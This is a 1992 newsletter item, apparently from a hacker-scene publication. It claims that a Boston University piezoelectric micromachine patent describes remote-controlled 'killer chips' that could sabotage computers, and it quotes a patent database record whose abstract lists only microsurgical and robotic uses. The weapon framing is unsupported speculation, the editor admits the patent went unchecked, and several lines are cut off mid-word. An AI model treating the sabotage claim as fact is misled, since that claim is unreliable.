No. 186 (Jan. 29, 1992), page 2, ISSN 0997-7139
By: Jean-Bernard Condat (CCCF, B.P. 8005, 69351 Lyon Cedex 08, France)

The military use of computer viruses is often overblown, if not just simple disinformation as in the recent Iraqi case. But researchers at Boston University have developed and patented (U.S. patent 5 049 775) an infinitely more offensive and effective anti-computer agent: the silicon ant. Micro-electronics has perfected technologies for making toys and machines so small that they are invisible.

Using piezoelectric ceramics which expand or contract under an electric current, the researchers constructed a microscopic ship with three "legs" on each side and a "cutter" in front. By alternating current in different sides of each "leg", it bends forward or backward

Under remote control the killer chips can be "walked" into a compute and cut up other microscopic chips, turn around and "walk" away, leavi invisible damage in the computer system. The killer chips could be sol powered and therefore have an indefinite life-span.

PATENT DESCRIPTION

008245420 WPI Acc No: 90-132421/17
XRPX Acc No: N90-102550
Piezoelectric micro-machine or robot basic operating unit - made by covering silicon cantilever beams projecting from frame with piezoelectric material when applied voltages cause them to deflect
Patent Assignee: (UYBO-) BOSTON UNIV
Author (inventor): SMITS J G
Number of Patents: 002
Patent Family:

CC Number	Kind	Date	Week	
WO 9003665	A	900405	9017	(Basic)
US 5049775	A	910917	9140	

Priority Data (CC,No,Date): US 251565 (880930);
Applications (CC,No,Date): WO 89US4129 (890921);
EP and/or WO Language: English
EP and/or WO Cited Patents:
No.SR.Pub
Designated States (National): JP (Regional): AT; BE; CH; DE; FR; GB; I ; NL; SE
Abstract (Basic): WO 9003665

An electrical micromachine is made by securing films (20,22) piezoelectric material to the top surfaces (16,18) of crystalline silicon beams (12,14) projecting from a crystalline silicon body (to form a bimorph structure. A potential applied across the ends (24,26) of the piezoelectric films causes the beams to deflect. Th piezoelectric material used is zinc oxide.

A number of such micromachines can be assembled to form a ro and when a foot (30) is provided the machine can move itself along surface by sequential deflecting and straightening of the beams. T foot can be associated with a toothed wheel to produce rotary moti The micromachine may be solar powered, and can be associated with sensors or a microprocessor with programmable memory.

USE - Microsurgical tools, and robots for grasping, carrying

cutting tasks. @(33pp Dwg.No.1/10)@
Abstract (US): 9140 US 5049775
The piezoelectric actuation machine comprises two cantilever extending from a frame. The beams comprise a piezoelectric materia such that application of an electric potential across the material each beam rotationally diplaces the first and second beams relativ each other.

An actuating member is secured between displaceable surface the beams and extends orthogonally from a plane through the beams that relative displacement of the beams displaces a portion of the member in a direction orthogonal to beam displacement. A rigid obj contacting the displaced portion of the member is translated relat to the member and the frame.

USE - For piezoelectric micromachines e.g. small robot or cutting tool. @(17pp)@
File Segment: EPI
Derwent Class: S05; V06; X25; R46;
Int Pat Class: H01L-041/09
Manual Codes (EPI/S-X): S05-B; V06-M06D; X25-A03E

[Editor’s Note: I have not investigated to see if this patent really d exist due to the timing of the article so close to the release date. is a rush-in and I am basing all of its credibility to Chaos Computer Club France (CCCF) and Jean-Bernard Condat.]

=-